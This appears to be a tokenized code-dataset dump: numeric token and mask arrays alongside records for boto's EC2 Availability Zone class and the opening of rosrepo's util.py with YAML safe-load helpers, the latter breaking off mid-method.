26, 437, 5046, 574, 12, 1314, 13467, 3775, 314, 909, 288, 3035, 642, 901, 1077, 7427, 370, 8287, 314, 574, 687, 2399, 288, 1676, 909, 340, 314, 2257, 574, 365, 488, 14, 267, 520, 12745, 5162, 26, 1626, 5162, 370, 675, 367, 314, 2225, 536, 12, 367, 24325, 2382, 288, 314, 2225, 536, 1443, 12395, 543, 282, 2018, 4644, 4349, 14, 267, 408, 398, 291, 14, 13655, 275, 365, 65, 267, 291, 14, 4239, 275, 5726, 267, 291, 14, 885, 275, 849, 267, 291, 14, 2427, 275, 1415, 267, 291, 14, 513, 1618, 275, 769, 1618, 267, 291, 14, 6693, 275, 7464, 267, 291, 14, 533, 63, 466, 275, 1021, 63, 466, 267, 291, 14, 9223, 63, 1932, 63, 3502, 275, 3544, 63, 1932, 63, 3502, 267, 291, 14, 6486, 275, 8287, 267, 291, 14, 3620, 275, 5162, 267, 291, 14, 2880, 275, 12247, 267, 291, 14, 20637, 275, 18213, 398, 340, 849, 365, 440, 488, 436, 291, 14, 13655, 315, 661, 513, 297, 283, 807, 297, 283, 409, 735, 288, 291, 14, 885, 275, 14800, 8, 885, 9, 267, 587, 26, 288, 291, 14, 885, 275, 849, 339, 347, 636, 4077, 721, 277, 12, 1163, 304, 267, 372, 1163, 14, 6693, 508, 291, 14, 6693, 339, 347, 636, 685, 721, 277, 12, 1163, 304, 267, 372, 1163, 14, 6693, 1137, 291, 14, 6693, 339, 327, 25377, 26, 10948, 7464, 5579, 4069, 1642, 339, 347, 636, 4116, 721, 277, 12, 1163, 304, 267, 372, 1163, 14, 6693, 665, 291, 14, 6693, 339, 347, 636, 3308, 721, 277, 12, 1163, 304, 267, 372, 1163, 14, 6693, 690, 291, 14, 6693, 339, 347, 636, 274, 721, 277, 12, 1163, 304, 267, 372, 1163, 14, 6693, 2695, 291, 14, 6693, 339, 347, 636, 303, 721, 277, 12, 1163, 304, 267, 372, 1163, 14, 6693, 2356, 291, 14, 6693, 421, 199, 533, 5024, 1646, 8, 1646, 304, 272, 986, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 334, 67, 9, 6029, 13, 7280, 12, 16922, 22453, 665, 22333, 14, 24247, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 3, 4155, 2803, 1655, 2366, 19, 13, 2453, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 870, 63, 1593, 9, 199, 363, 6577, 363, 275, 730, 199, 199, 504, 1331, 492, 14800, 421, 199, 533, 3882, 26, 339, 347, 636, 826, 721, 267, 291, 12, 267, 365, 65, 29, 403, 12, 267, 5726, 29, 797, 12, 267, 849, 29, 403, 12, 267, 1415, 29, 797, 12, 267, 769, 1618, 29, 403, 12, 267, 7464, 29, 16, 12, 267, 1021, 63, 466, 29, 403, 12, 267, 3544, 63, 1932, 63, 3502, 29, 797, 12, 267, 8287, 29, 549, 12, 267, 5162, 29, 403, 12, 267, 12247, 29, 797, 12, 267, 18213, 29, 797, 12, 272, 3461, 398, 408, 267, 520, 533, 1705, 1646, 64, 9314, 9565, 367, 3004, 402, 2251, 1314, 267, 23519, 687, 15695, 666, 14, 221, 710, 3004, 402, 314, 909, 787, 26014, 267, 282, 4177, 367, 314, 8864, 15695, 14, 398, 520, 12745, 365, 65, 26, 710, 730, 402, 314, 2225, 14, 221, 9812, 461, 1338, 787, 282, 1059, 288, 6025, 402, 1263, 8864, 5678, 16048, 12, 2366, 1021, 12, 503, 8878, 14, 288, 334, 1327, 28074, 737, 2963, 13, 6136, 900, 680, 267, 520, 12745, 5726, 26, 334, 1397, 1202, 9, 267, 520, 12745, 849, 26, 3758, 574, 340, 21994, 315, 314, 18916, 2213, 14, 267, 520, 12745, 1415, 26, 7480, 503, 440, 314, 18916, 2213, 1471, 1395, 642, 901, 14, 288, 982, 314, 2225, 365, 488, 1380, 2963, 13, 24372, 12, 376, 1125, 911, 506, 4915, 14, 267, 520, 12745, 769, 1618, 26, 982, 365, 65, 365, 663, 370, 298, 513, 401, 642, 883, 14190, 506, 663, 370, 288, 4868, 626, 1006, 4008, 315, 314, 769, 787, 402, 314, 1627, 730, 14, 4821, 288, 1338, 2348, 787, 314, 2011, 465, 5204, 367, 365, 65, 14, 267, 520, 12745, 7464, 26, 710, 1865, 315, 1314, 314, 1504, 1077, 506, 4565, 14, 1464, 1183, 288, 642, 1630, 440, 1929, 370, 506, 663, 12, 652, 365, 367, 24063, 24325, 2382, 4573, 288, 901, 8350, 641, 314, 10572, 626, 4573, 901, 1990, 4565, 1642, 14, 267, 520, 12745, 1021, 63, 466, 26, 982, 365, 65, 365, 663, 370, 298, 533, 401, 642, 883, 506, 14190, 663, 370, 288, 282, 1021, 334, 1397, 282, 1059, 536, 680, 710, 18916, 666, 367, 642, 901, 911, 506, 288, 3032, 370, 314, 636, 826, 363, 1083, 402, 626, 1021, 5309, 2963, 6411, 436, 288, 314, 901, 911, 506, 376, 1256, 402, 626, 1021, 14, 267, 520, 12745, 3544, 63, 1932, 63, 3502, 26, 29001, 3775, 282, 901, 1077, 506, 2963, 288, 16468, 503, 440, 334, 885, 26, 715, 680, 267, 520, 12745, 8287, 26, 437, 5046, 574, 12, 1314, 13467, 3775, 314, 909, 288, 3035, 642, 901, 1077, 7427, 370, 8287, 314, 574, 687, 2399, 288, 1676, 909, 340, 314, 2257, 574, 365, 488, 14, 267, 520, 12745, 5162, 26, 1626, 5162, 370, 675, 367, 314, 2225, 536, 12, 367, 24325, 2382, 288, 314, 2225, 536, 1443, 12395, 543, 282, 2018, 4644, 4349, 14, 267, 408, 398, 291, 14, 13655, 275, 365, 65, 267, 291, 14, 4239, 275, 5726, 267, 291, 14, 885, 275, 849, 267, 291, 14, 2427, 275, 1415, 267, 291, 14, 513, 1618, 275, 769, 1618, 267, 291, 14, 6693, 275, 7464, 267, 291, 14, 533, 63, 466, 275, 1021, 63, 466, 267, 291, 14, 9223, 63, 1932, 63, 3502, 275, 3544, 63, 1932, 63, 3502, 267, 291, 14, 6486, 275, 8287, 267, 291, 14, 3620, 275, 5162, 267, 291, 14, 2880, 275, 12247, 267, 291, 14, 20637, 275, 18213, 398, 340, 849, 365, 440, 488, 436, 291, 14, 13655, 315, 661, 513, 297, 283, 807, 297, 283, 409, 735, 288, 291, 14, 885, 275, 14800, 8, 885, 9, 267, 587, 26, 288, 291, 14, 885, 275, 849, 339, 347, 636, 4077, 721, 277, 12, 1163, 304, 267, 372, 1163, 14, 6693, 508, 291, 14, 6693, 339, 347, 636, 685, 721, 277, 12, 1163, 304, 267, 372, 1163, 14, 6693, 1137, 291, 14, 6693, 339, 327, 25377, 26, 10948, 7464, 5579, 4069, 1642, 339, 347, 636, 4116, 721, 277, 12, 1163, 304, 267, 372, 1163, 14, 6693, 665, 291, 14, 6693, 339, 347, 636, 3308, 721, 277, 12, 1163, 304, 267, 372, 1163, 14, 6693, 690, 291, 14, 6693, 339, 347, 636, 274, 721, 277, 12, 1163, 304, 267, 372, 1163, 14, 6693, 2695, 291, 14, 6693, 339, 347, 636, 303, 721, 277, 12, 1163, 304, 267, 372, 1163, 14, 6693, 2356, 291, 14, 6693, 421, 199, 533, 5024, 1646, 8, 1646, 304, 272, 986, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
nishigori/boto
boto/ec2/zone.py
152
2601
# Copyright (c) 2006-2008 Mitch Garnaat http://garnaat.org/ # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, dis- # tribute, sublicense, and/or sell copies of the Software, and to permit # persons to whom the Software is furnished to do so, subject to the fol- # lowing conditions: # # The above copyright notice and this permission notice shall be included # in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS # OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABIL- # ITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT # SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS # IN THE SOFTWARE. """ Represents an EC2 Availability Zone """ from boto.ec2.ec2object import EC2Object class MessageSet(list): """ A list object that contains messages associated with an availability zone. """ def startElement(self, name, attrs, connection): return None def endElement(self, name, value, connection): if name == 'message': self.append(value) else: setattr(self, name, value) class Zone(EC2Object): """ Represents an Availability Zone. :ivar name: The name of the zone. :ivar state: The current state of the zone. :ivar region_name: The name of the region the zone is associated with. :ivar messages: A list of messages related to the zone. """ def __init__(self, connection=None): super(Zone, self).__init__(connection) self.name = None self.state = None self.region_name = None self.messages = None def __repr__(self): return 'Zone:%s' % self.name def startElement(self, name, attrs, connection): if name == 'messageSet': self.messages = MessageSet() return self.messages return None def endElement(self, name, value, connection): if name == 'zoneName': self.name = value elif name == 'zoneState': self.state = value elif name == 'regionName': self.region_name = value else: setattr(self, name, value)
mit
[ 3, 1898, 334, 67, 9, 8315, 13, 9300, 603, 9414, 598, 26272, 1455, 921, 71, 26272, 14, 1308, 15, 199, 3, 199, 3, 8779, 365, 11882, 10009, 12, 2867, 402, 11204, 12, 370, 1263, 4954, 12408, 282, 199, 3, 1331, 402, 642, 2032, 436, 4568, 3794, 1584, 334, 1589, 199, 3, 298, 10337, 1288, 370, 7962, 315, 314, 2290, 1928, 10588, 12, 5893, 199, 3, 1928, 12305, 314, 4481, 370, 675, 12, 1331, 12, 2811, 12, 5389, 12, 2780, 12, 2153, 13, 199, 3, 28420, 12, 13473, 12, 436, 15, 269, 12743, 6866, 402, 314, 2290, 12, 436, 370, 11291, 199, 3, 12103, 370, 12676, 314, 2290, 365, 13985, 370, 886, 880, 12, 5420, 370, 314, 1699, 13, 199, 3, 28486, 3704, 26, 199, 3, 199, 3, 710, 3432, 4248, 4245, 436, 642, 4983, 4245, 10989, 506, 5120, 199, 3, 315, 1006, 6866, 503, 13393, 12468, 402, 314, 2290, 14, 199, 3, 199, 3, 2334, 4141, 2281, 7049, 298, 1179, 2281, 401, 2428, 3408, 1634, 1821, 3826, 12, 7168, 199, 3, 1549, 5292, 12, 6931, 5400, 2845, 5471, 2296, 2334, 2990, 1634, 28471, 13, 199, 3, 28463, 12, 3092, 2381, 437, 3115, 3104, 2401, 13229, 14, 1621, 4825, 6461, 199, 3, 7000, 2334, 17632, 6262, 7024, 2381, 1821, 13140, 12, 6736, 1549, 5010, 5603, 12, 199, 3, 7061, 1621, 1261, 9612, 1634, 7066, 12, 7056, 1549, 7334, 12, 7043, 4442, 12, 199, 3, 5738, 1634, 1549, 1621, 11287, 1663, 2334, 4141, 1549, 2334, 4815, 1549, 5010, 13198, 199, 3, 1621, 2334, 4141, 14, 199, 199, 624, 199, 18089, 376, 15352, 18, 16599, 7615, 22518, 199, 624, 199, 504, 6055, 14, 825, 18, 14, 825, 18, 785, 492, 15352, 18, 1692, 421, 199, 533, 6430, 1084, 8, 513, 304, 272, 408, 272, 437, 769, 909, 626, 3509, 3788, 4568, 543, 272, 376, 14962, 5718, 14, 272, 408, 339, 347, 26325, 8, 277, 12, 536, 12, 3290, 12, 1950, 304, 267, 372, 488, 339, 347, 28920, 8, 277, 12, 536, 12, 574, 12, 1950, 304, 267, 340, 536, 508, 283, 1188, 356, 288, 291, 14, 740, 8, 585, 9, 267, 587, 26, 288, 5371, 8, 277, 12, 536, 12, 574, 9, 421, 199, 533, 22518, 8, 4220, 18, 1692, 304, 272, 408, 272, 21591, 376, 16599, 7615, 22518, 14, 339, 520, 7725, 536, 26, 710, 536, 402, 314, 5718, 14, 272, 520, 7725, 1174, 26, 710, 1453, 1174, 402, 314, 5718, 14, 272, 520, 7725, 4897, 63, 354, 26, 710, 536, 402, 314, 4897, 314, 5718, 365, 4568, 543, 14, 272, 520, 7725, 3788, 26, 437, 769, 402, 3788, 4048, 370, 314, 5718, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 1950, 29, 403, 304, 267, 1613, 8, 11860, 12, 291, 2843, 826, 721, 2105, 9, 267, 291, 14, 354, 275, 488, 267, 291, 14, 929, 275, 488, 267, 291, 14, 4551, 63, 354, 275, 488, 267, 291, 14, 3431, 275, 488, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 283, 11860, 2689, 83, 7, 450, 291, 14, 354, 339, 347, 26325, 8, 277, 12, 536, 12, 3290, 12, 1950, 304, 267, 340, 536, 508, 283, 1188, 1084, 356, 288, 291, 14, 3431, 275, 6430, 1084, 342, 288, 372, 291, 14, 3431, 267, 372, 488, 339, 347, 28920, 8, 277, 12, 536, 12, 574, 12, 1950, 304, 267, 340, 536, 508, 283, 2619, 985, 356, 288, 291, 14, 354, 275, 574, 267, 916, 536, 508, 283, 2619, 2223, 356, 288, 291, 14, 929, 275, 574, 267, 916, 536, 508, 283, 4551, 985, 356, 288, 291, 14, 4551, 63, 354, 275, 574, 267, 587, 26, 288, 5371, 8, 277, 12, 536, 12, 574, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 334, 67, 9, 8315, 13, 9300, 603, 9414, 598, 26272, 1455, 921, 71, 26272, 14, 1308, 15, 199, 3, 199, 3, 8779, 365, 11882, 10009, 12, 2867, 402, 11204, 12, 370, 1263, 4954, 12408, 282, 199, 3, 1331, 402, 642, 2032, 436, 4568, 3794, 1584, 334, 1589, 199, 3, 298, 10337, 1288, 370, 7962, 315, 314, 2290, 1928, 10588, 12, 5893, 199, 3, 1928, 12305, 314, 4481, 370, 675, 12, 1331, 12, 2811, 12, 5389, 12, 2780, 12, 2153, 13, 199, 3, 28420, 12, 13473, 12, 436, 15, 269, 12743, 6866, 402, 314, 2290, 12, 436, 370, 11291, 199, 3, 12103, 370, 12676, 314, 2290, 365, 13985, 370, 886, 880, 12, 5420, 370, 314, 1699, 13, 199, 3, 28486, 3704, 26, 199, 3, 199, 3, 710, 3432, 4248, 4245, 436, 642, 4983, 4245, 10989, 506, 5120, 199, 3, 315, 1006, 6866, 503, 13393, 12468, 402, 314, 2290, 14, 199, 3, 199, 3, 2334, 4141, 2281, 7049, 298, 1179, 2281, 401, 2428, 3408, 1634, 1821, 3826, 12, 7168, 199, 3, 1549, 5292, 12, 6931, 5400, 2845, 5471, 2296, 2334, 2990, 1634, 28471, 13, 199, 3, 28463, 12, 3092, 2381, 437, 3115, 3104, 2401, 13229, 14, 1621, 4825, 6461, 199, 3, 7000, 2334, 17632, 6262, 7024, 2381, 1821, 13140, 12, 6736, 1549, 5010, 5603, 12, 199, 3, 7061, 1621, 1261, 9612, 1634, 7066, 12, 7056, 1549, 7334, 12, 7043, 4442, 12, 199, 3, 5738, 1634, 1549, 1621, 11287, 1663, 2334, 4141, 1549, 2334, 4815, 1549, 5010, 13198, 199, 3, 1621, 2334, 4141, 14, 199, 199, 624, 199, 18089, 376, 15352, 18, 16599, 7615, 22518, 199, 624, 199, 504, 6055, 14, 825, 18, 14, 825, 18, 785, 492, 15352, 18, 1692, 421, 199, 533, 6430, 1084, 8, 513, 304, 272, 408, 272, 437, 769, 909, 626, 3509, 3788, 4568, 543, 272, 376, 14962, 5718, 14, 272, 408, 339, 347, 26325, 8, 277, 12, 536, 12, 3290, 12, 1950, 304, 267, 372, 488, 339, 347, 28920, 8, 277, 12, 536, 12, 574, 12, 1950, 304, 267, 340, 536, 508, 283, 1188, 356, 288, 291, 14, 740, 8, 585, 9, 267, 587, 26, 288, 5371, 8, 277, 12, 536, 12, 574, 9, 421, 199, 533, 22518, 8, 4220, 18, 1692, 304, 272, 408, 272, 21591, 376, 16599, 7615, 22518, 14, 339, 520, 7725, 536, 26, 710, 536, 402, 314, 5718, 14, 272, 520, 7725, 1174, 26, 710, 1453, 1174, 402, 314, 5718, 14, 272, 520, 7725, 4897, 63, 354, 26, 710, 536, 402, 314, 4897, 314, 5718, 365, 4568, 543, 14, 272, 520, 7725, 3788, 26, 437, 769, 402, 3788, 4048, 370, 314, 5718, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 1950, 29, 403, 304, 267, 1613, 8, 11860, 12, 291, 2843, 826, 721, 2105, 9, 267, 291, 14, 354, 275, 488, 267, 291, 14, 929, 275, 488, 267, 291, 14, 4551, 63, 354, 275, 488, 267, 291, 14, 3431, 275, 488, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 283, 11860, 2689, 83, 7, 450, 291, 14, 354, 339, 347, 26325, 8, 277, 12, 536, 12, 3290, 12, 1950, 304, 267, 340, 536, 508, 283, 1188, 1084, 356, 288, 291, 14, 3431, 275, 6430, 1084, 342, 288, 372, 291, 14, 3431, 267, 372, 488, 339, 347, 28920, 8, 277, 12, 536, 12, 574, 12, 1950, 304, 267, 340, 536, 508, 283, 2619, 985, 356, 288, 291, 14, 354, 275, 574, 267, 916, 536, 508, 283, 2619, 2223, 356, 288, 291, 14, 929, 275, 574, 267, 916, 536, 508, 283, 4551, 985, 356, 288, 291, 14, 4551, 63, 354, 275, 574, 267, 587, 26, 288, 5371, 8, 277, 12, 536, 12, 574, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
fkie/rosrepo
src/rosrepo/util.py
1
6206
# coding=utf-8 # # ROSREPO # Manage ROS workspaces with multiple Gitlab repositories # # Author: Timo Röhling # # Copyright 2016 Fraunhofer FKIE # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # import os import fcntl import termios import struct import multiprocessing import signal from tempfile import mkstemp from subprocess import Popen, PIPE from yaml import load as yaml_load_impl, dump as yaml_dump_impl, YAMLError try: from yaml import CSafeLoader as SafeLoader, CSafeDumper as SafeDumper except ImportError: from yaml import SafeLoader, SafeDumper def yaml_load(stream, Loader=SafeLoader): return yaml_load_impl(stream, Loader=Loader) def yaml_dump(data, stream=None, Dumper=SafeDumper, **kwargs): return yaml_dump_impl(data, stream=stream, Dumper=Dumper, **kwargs) class NamedTuple(object): __slots__ = () def __init__(self, *args, **kwargs): slots = self.__slots__ for k in slots: setattr(self, k, kwargs.get(k)) if args: for k, v in zip(slots, args): setattr(self, k, v) def __str__(self): clsname = self.__class__.__name__ values = ", ".join("%s=%r" % (k, getattr(self, k)) for k in self.__slots__) return "%s(%s)" % (clsname, values) __repr__ = __str__ def __getitem__(self, item): return getattr(self, self.__slots__[item]) def __setitem__(self, item, value): return 